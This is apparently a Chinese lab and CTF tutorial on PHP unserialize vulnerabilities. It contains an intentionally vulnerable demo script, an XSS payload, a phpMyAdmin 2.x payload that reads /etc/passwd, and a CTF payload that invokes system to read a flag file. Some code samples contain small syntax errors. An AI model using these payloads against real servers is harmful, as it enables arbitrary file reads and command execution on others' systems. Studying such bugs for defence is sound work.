一、原理
PHP序列化與反序列化介紹
1、什么是序列化與反序列化
序列化 (Serialization)是將對象的狀態信息轉換為可以存儲或傳輸的形式的過程。在序列化期間,對象將其當前狀態寫入到臨時或持久性存儲區。以后,可以通過從存儲區中讀取或反序列化對象的狀態,重新創建該對象。
通俗的說,就是將數據轉化成一種可逆的數據結構。
反序列化(UnSerialization)將序列化的過程逆向就叫做反序列化。
舉例:
現在我們都會在淘寶上買桌子,桌子這種很不規則的東西,該怎么從一個城市運輸到另一個城市?這時候一般都會把它拆卸成板子,再裝到箱子里面,然后就可以快遞出去,這個過程就類似我們的序列化的過程(將數據對象的狀態信息轉化為可以存儲或者傳輸的格式)。當買家收到貨后,就需要自己把這些板子組裝成桌子,這個過程就類似反序列的過程(轉化成當初的數據對象)。
2、序列化的目的
方便數據的傳輸和存儲。
3、常見的序列化格式
- 二進制格式
- 字節數組
- json字符串
- xml字符串
序列化與反序列化PHP代碼介紹
1、PHP serialize() 序列化函數
定義介紹見鏈接:
https://www.w3cschool.cn/php/php-serialize_info.html
2、代碼演示
<?php
class{public $target='my is string';}
$a = serialize(new A);
echo $a
//O:1:"a":1:{s:6:"target";s:12:"my is string";}
?>
-
a(array):number;
a代表數組,number代表數組個數 -
s(string):number:value;
s代表字符串,number代表字符串長度,value代表字符串的值 -
i(int):number;
i代表整型,number代表整數長度 -
O(object):number:name;
O代表對象,name代表對象名稱,number代表對象個數
3、PHP unserialize() 反序列化函數
定義介紹見鏈接:
https://www.cnblogs.com/junyi-bk/p/11631685.html
4、代碼演示
<?php
//序列化
class{public $target='my is string';}
$a = serialize(new A);
echo $a
//O:1:"a":1:{s:6:"target";s:12:"my is string";}
//反序列化
$b = unserialize($a);
//var_dump輸出變量信息
var_dump($b);
?>
二、PHP反序列化demo復現
1、服務器demo.php寫入php代碼,如下:
<?php
$a = $_GET['test'];
$b = serialize($a);
$c = unserialize($b);
echo $c;
?>
2、創建payload
class a{public $target='<script>alert(1)</script>';}
$a = serialize(new A);
echo $a
//O:1:"b":1:{s:6:"target";s:25:"<script>alert(1)</script>";}
3、訪問demo.php?test=O:1:"b":1:{s:6:"target";s:25:"";}
三、WooYun-2016-199433漏洞復現
漏洞描述
phpmyadmin scripts/setup.php 頁面存在反序列化漏洞,phpmyadmin 2.x版本中存在一處反序列化漏洞,攻擊者可以讀取任意文件。
漏洞環境搭建
1、進入vulhub-master的phpmyadmin/WooYun-2016-199433目錄下
2、docker啟動環境
dcoker-compose up -d
漏洞復現
1、瀏覽器訪問http://192.168.2.147:8080/scripts/setup.php
2、輸入payload抓包漏洞復現,讀取任意文件
//payload
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
四、[網鼎杯2020朱雀組]PHP反序列化
1、抓包發現可以傳遞參數和函數
2、可以用file_get_contents函數讀取index.php網頁源代碼
- file_get_contents() 函數把整個文件讀入一個字符串中,詳情如下鏈接:
https://www.w3school.com.cn/php/func_filesystem_file_get_contents.asp
//讀取flag的pyaload
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:26:"cat /tmp/flag_c6bf23b35ba2";}
詳情見參考鏈接:
https://www.cnblogs.com/vege/p/12907941.html
聲明
嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 后果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合 !